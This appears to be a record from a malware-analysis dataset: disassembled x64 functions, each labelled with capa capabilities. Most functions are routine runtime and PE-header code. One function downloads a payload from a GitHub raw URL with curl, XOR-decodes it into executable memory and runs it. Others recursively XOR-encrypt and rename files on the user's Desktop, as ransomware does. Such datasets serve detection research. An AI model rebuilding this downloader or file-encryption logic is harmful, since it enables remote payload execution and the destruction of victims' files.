joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001123f
Capabilities:
Terminate process

Disassembly:
jmp 0x140013930
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400112da
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014c80
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014ca0
xor al, al
jmp 0x140014d21
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014cb3
xor al, al
jmp 0x140014d21
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014cdd
xor al, al
jmp 0x140014d21
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014cf1
xor al, al
jmp 0x140014d21
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014d03
xor al, al
jmp 0x140014d21
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014d1f
xor al, al
jmp 0x140014d21
mov al, 1
add rsp, 0x38
ret
Function at 0x1400129d0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001140b
movzx eax, al
test eax, eax
jne 0x1400129f0
mov ecx, 7
call fcn.14001137f
nop
mov byte [rsp + 0x20], 0
call fcn.140011393
mov byte [rsp + 0x21], al
cmp dword [0x14001e868], 1
jne 0x140012a14
mov ecx, 7
call fcn.14001137f
nop
jmp 0x140012a6c
cmp dword [0x14001e868], 0
jne 0x140012a67
mov dword [0x14001e868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111ea
test eax, eax
je 0x140012a48
mov eax, 0xff
jmp 0x140012b71
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011389
mov dword [0x14001e868], 2
jmp 0x140012a6c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001136b
call fcn.1400112fd
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012ac9
mov rcx, qword [rsp + 0x30]
call fcn.14001119a
movzx eax, al
test eax, eax
je 0x140012ac9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.14001132f
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140012afd
mov rcx, qword [rsp + 0x38]
call fcn.14001119a
movzx eax, al
test eax, eax
je 0x140012afd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113ca
nop
call fcn.140012c20
mov dword [rsp + 0x28], eax
call fcn.1400112da
movzx eax, al
test eax, eax
jne 0x140012b1c
mov ecx, dword [rsp + 0x28]
call fcn.140011064
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140012b2b
call fcn.1400113d4
nop
xor edx, edx
mov cl, 1
call fcn.140011186
mov eax, dword [rsp + 0x28]
jmp 0x140012b71
add rsp, 0x68
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004490]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400044a0]
mov dword [rax], 1
mov rax, qword [0x1400044b0]
mov dword [rax], 1
mov rax, qword [0x140004430]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004480]
mov dword [0x140007020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004550]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004530]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043e0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0x4e80
call fcn.140002790
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
movabs rax, 0x65626d6f62616e75
movabs rdx, 0xa3c365706d616372
mov qword [rbp + 0x26b0], rax
mov qword [rbp + 0x26b8], rdx
movabs rax, 0x353265646fa3c3
mov qword [rbp + 0x26be], rax
mov dword [rbp + 0x4dfc], 0
mov byte [rbp + 0x26d0], 0
lea rax, section..rdata
mov rdx, rax
lea rax, str.curl__s_https:__raw.githubusercontent.com_so251_thatone_main_skibidi.txt
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x4df0], rax
cmp qword [rbp + 0x4df0], 0
jne 0x1400015e9
lea rax, str.Erro_ao_executar_o_comando_curl
mov rcx, rax
call sym.perror
mov eax, 1
jmp 0x140001721
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x26d0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x4df0]
lea rax, [rbp - 0x60]
mov r8, rdx
mov edx, 0x2710
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x1400015d6
mov rax, qword [rbp + 0x4df0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
lea rax, [rbp + 0x26d0]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x4dec], eax
lea rax, [rbp + 0x26b0]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x4de8], eax
mov dword [rbp + 0x4dfc], 0
jmp 0x140001697
mov eax, dword [rbp + 0x4dfc]
cdqe
movzx eax, byte [rbp + rax + 0x26d0]
mov ecx, eax
mov eax, dword [rbp + 0x4dfc]
cdq
idiv dword [rbp + 0x4de8]
mov eax, edx
cdqe
movzx eax, byte [rbp + rax + 0x26b0]
xor eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x4dfc]
cdqe
mov byte [rbp + rax + 0x26d0], dl
add dword [rbp + 0x4dfc], 1
mov eax, dword [rbp + 0x4dfc]
cmp eax, dword [rbp + 0x4dec]
jl 0x140001652
mov eax, dword [rbp + 0x4dec]
cdqe
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x4de0], rax
cmp qword [rbp + 0x4de0], 0
jne 0x1400016f1
lea rax, str.Erro_ao_alocar_memria
mov rcx, rax
call sym.perror
mov eax, 1
jmp 0x140001721
mov eax, dword [rbp + 0x4dec]
movsxd rcx, eax
lea rdx, [rbp + 0x26d0]
mov rax, qword [rbp + 0x4de0]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x4de0]
call rax
mov eax, 0
add rsp, 0x4e80
pop rbp
ret

Function at 0x1400019f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001a60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070b4]
mov rbx, rcx
test esi, esi
jle 0x140001b90
mov rax, qword [0x1400070b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001aab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001a90
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001bb2
mov rax, qword [0x1400070b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001b97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b40
add dword [0x1400070b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001ab8
mov rax, qword [0x1400070b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002120
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007100]
test rbx, rbx
je 0x14000217c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002173
test rsi, rsi
je 0x140002173
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002158
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002390
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023a8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023b0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400023c0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000240d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002404
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000240f
add rax, 0x28
cmp rax, r9
jne 0x1400023f0
xor eax, eax
ret

Function at 0x140002410
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024a0
mov rdx, qword [0x140004430]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000248e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000248e
cmp word [rax + 0x18], 0x20b
jne 0x14000248e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400024a0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002479
add rbx, 0x28
cmp rbx, rdi
je 0x1400024a0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002470
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400024b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000252d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002524
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400024d0
add rax, 0x28
cmp rax, r9
jne 0x140002510
xor eax, eax
ret

Function at 0x140002530
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000254f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002558
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000254f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004430]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002590
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002598
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002590
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400025e0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400025d7
test rcx, rcx
je 0x140002590
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400025c8
xor eax, eax
ret
Function at 0x1400025f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000260f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002618
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002630
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002650
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002658
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002650
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002650
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400026a4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026b0
add rdx, 0x28
cmp r9, rdx
jne 0x140002690
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400026c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004430]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400026e2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400026f0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026e2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400026e2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400026e2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002745
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002758
add rdx, 0x28
cmp rdx, r10
jne 0x140002730
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002767
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002777
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000274e
test ecx, ecx
jg 0x140002760
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005880]
mov dword [rax], 1
mov rax, qword [0x140005890]
mov dword [rax], 1
mov rax, qword [0x1400058a0]
mov dword [rax], 1
mov rax, qword [0x140005840]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d1
mov eax, 0
jmp 0x14000157e
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400014fd
mov eax, 0
jmp 0x14000157e
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001523
cmp eax, 0x20b
je 0x14000154a
jmp 0x140001579
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001536
mov eax, 0
jmp 0x14000157e
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157e
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001565
mov eax, 0
jmp 0x14000157e
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000157e
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400017ee
Capabilities:
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov edx, 0x2e
mov rcx, qword [rbp + 0x10]
call sym.strrchr
mov qword [rbp - 0x18], rax
mov eax, dword [0x140004020]
cmp eax, 0xffffffff
jne 0x140001835
mov rax, qword [rbp - 0x18]
lea rdx, str..H43
mov rcx, rax
call sym.strcmp
and eax, 1
mov dword [0x140004020], eax
jmp 0x14000185b
mov rax, qword [rbp - 0x18]
lea rdx, str..H43
mov rcx, rax
call sym.strcmp
and eax, 1
mov edx, eax
mov eax, dword [0x140004020]
cmp edx, eax
jne 0x140001a1f
lea rax, [0x14000544e]
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call sym.fopen
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x14000197c
mov rax, qword [rbp - 0x20]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.ftell
mov dword [rbp - 0x24], eax
mov rax, qword [rbp - 0x20]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 0x24]
add eax, 1
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
je 0x140001970
mov eax, dword [rbp - 0x24]
movsxd rdx, eax
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x30]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
je 0x140001964
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.rewind
mov rax, qword [rbp - 0x30]
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
jmp 0x14000193b
mov rax, qword [rbp - 8]
movzx eax, byte [rax]
xor eax, 0x15
mov edx, eax
mov rax, qword [rbp - 8]
mov byte [rax], dl
add qword [rbp - 8], 1
add dword [rbp - 0xc], 1
mov eax, dword [rbp - 0xc]
cmp eax, dword [rbp - 0x24]
jl 0x140001920
mov eax, dword [rbp - 0x24]
movsxd rdx, eax
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x30]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.fclose
mov eax, dword [0x140004020]
test eax, eax
je 0x1400019ed
mov rcx, qword [rbp + 0x10]
call sym.strlen
add rax, 5
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp + 0x10]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x40]
add rax, rdx
mov dword [rax], 0x3334482e
mov byte [rax + 4], 0
mov rax, qword [rbp - 0x40]
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call sym.rename
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sym.free
jmp 0x140001a20
mov rcx, qword [rbp + 0x10]
call sym.strdup
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x18]
mov byte [rax], 0
mov rax, qword [rbp - 0x38]
mov rdx, qword [rbp + 0x10]
mov rcx, rax
call sym.rename
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.free
jmp 0x140001a20
nop
add rsp, 0x60
pop rbp
ret
Function at 0x140001a26
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x380
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x310], rcx
lea rax, [rbp + 0x1f0]
mov r8, qword [rbp + 0x310]
lea rdx, str._s
mov rcx, rax
call sym.sprintf
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0xffffffffffffffff
je 0x140001b6a
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x140005457]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001b32
lea rax, [rbp + 0xb0]
add rax, 0x2c
lea rdx, [0x140005459]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001b32
lea rax, [rbp + 0xb0]
lea rdx, [rax + 0x2c]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8, qword [rbp + 0x310]
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf
mov eax, dword [rbp + 0xb0]
and eax, 0x10
test eax, eax
je 0x140001b17
mov eax, dword [rbp + 0xb0]
and eax, 0x44
test eax, eax
jne 0x140001b17
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.files_tree
mov eax, dword [rbp + 0xb0]
and eax, 0x20
test eax, eax
je 0x140001b33
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.xor_encryption
jmp 0x140001b33
nop
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
jne 0x140001a89
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x140001b6b
nop
add rsp, 0x380
pop rbp
ret

Function at 0x140001b74
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call sym.__main
lea rax, str.H43_xor_encryption
mov rcx, rax
call sym.getenv
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, [0x140005475]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x140001c35
lea rax, str.USERPROFILE
mov rcx, rax
call sym.getenv
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
add rax, 9
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x18]
add rax, rdx
movabs rdx, 0x706f746b7365445c
mov qword [rax], rdx
mov byte [rax + 8], 0
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.files_tree
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
call sym.print_ascii_art
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x140001f80
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop